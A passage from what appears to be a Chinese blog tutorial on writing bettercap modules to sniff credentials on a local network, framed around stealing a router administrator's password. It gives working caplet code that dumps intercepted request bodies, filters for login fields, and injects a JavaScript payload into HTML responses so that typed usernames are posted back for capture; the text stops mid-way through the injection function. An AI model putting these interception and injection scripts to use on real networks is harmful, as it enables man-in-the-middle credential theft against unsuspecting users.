【工具解析】瑞士军刀bettercap2.X_解析_第二期_内网钓鱼(嗅探)工具编写
阅读原文时间:2021年10月16日阅读:1

/_文章作者:Kali_MG1937

CNBLOG博客:ALDYS4

QQ:3496925334_/

第一期: https://www.cnblogs.com/aldys4/p/14877783.html

在上第一期文章中我简要解析了bettercap模块的编写方法

这一期我们将编写一个注入模块来应用于实战中

实战内容:流量嗅探

明晰思路

**假设一个场景:你想要进入内网的路由器管理页面

可是你并不知道密码,那么就需要嗅探管理员的流量,诱导对方登入管理页面以便自己得到密码**

思路非常简单

要嗅探目标主机可能发送的关键信息,主要还是拦截目标主机发出的请求

我们在上一期已经知道onRequest函数是用来拦截request请求的

其中包含两个变量:req,res

req即为request,所以我们对这个函数进行操作

利用ReadBody函数来读取req的具体内容并打印在终端上

开始工程

function onRequest(req,res)
{
var data=req.ReadBody();
log("\033[01;32mDUMP!!!:\n"+data);
}

很简单易懂的代码,我们将模块带入bettercap进行测试

可以看到 目标主机一旦发送请求,就能立刻被拦截

接下来将脚本升级,让脚本自动嗅探密码之类的关键信息

function onRequest(req,res)
{
var data=req.ReadBody();
if(data.indexOf("user_name")!=-1)
{
log("\033[01;32mPASSWORD DUMP!!!!!!!!:\n"+data);
}
}

可以看到我只是对body的内容进行判断,脚本就能自动筛选重要信息了

嗅探关键信息的思路明晰之后就非常好办了

但如果受害者发送的请求已经经过加密那该怎么办?

那也非常简单,我们可以对服务器发送给目标主机的内容做做手脚

我在这里举一个简单的例子:

对网页内容注入一个脚本,让目标主机在点击登入按钮时获取用户名及密码input标签的内容并发送给我

我先编写一个欲注入的js脚本,命名为inject.js

<script>
function posts()
{
var http=new XMLHttpRequest();
var data=document.getElementById("username").value;
alert(data);//我这里仅仅是为了测试而调用alert函数
http.open('POST','/test');//向test页面发送请求
http.send(data);
}
</script>

很明显,我写的上面这个脚本先建立一个XMLHttpRequest对象

并将指定id的值放入data

最终函数将向一个不存在的页面发送post请求,以便bettercap嗅探到

function onRequest(req, res) {
    if( req.Method == 'POST' && req.Path == "/test" )
    //如果请求是post,并且请求页面是test,则执行如下代码
    {
        log( "\033[01;32m[LOGIN MANAGER ABUSER]\n"+req.ReadBody() );
        headers = res.Headers.split("\r\n");
        for (var i = 0; i < headers.length; i++) {
            header_name = headers[i].replace(/:.*/, "");
            res.RemoveHeader(header_name);
        }
        res.SetHeader("Connection", "close");
        res.Status      = 200;
        res.ContentType = "text/html";
        res.Body        = "";//清除请求内容
    }
}

// inject the javascript in html pages
function onResponse(req, res) {
    if( res.ContentType.indexOf('text/html') == 0 ){
        var body = res.ReadBody();
        if( body.indexOf('') != -1 ) {
            body = body.replace(
                '',
                '<script type="text/javascript">' + "\n" +
                    readFile("/root/inject.js")//注入脚本 +
                '</script>' +
                ''
            ); //这一部分注入脚本
            body=body.replace('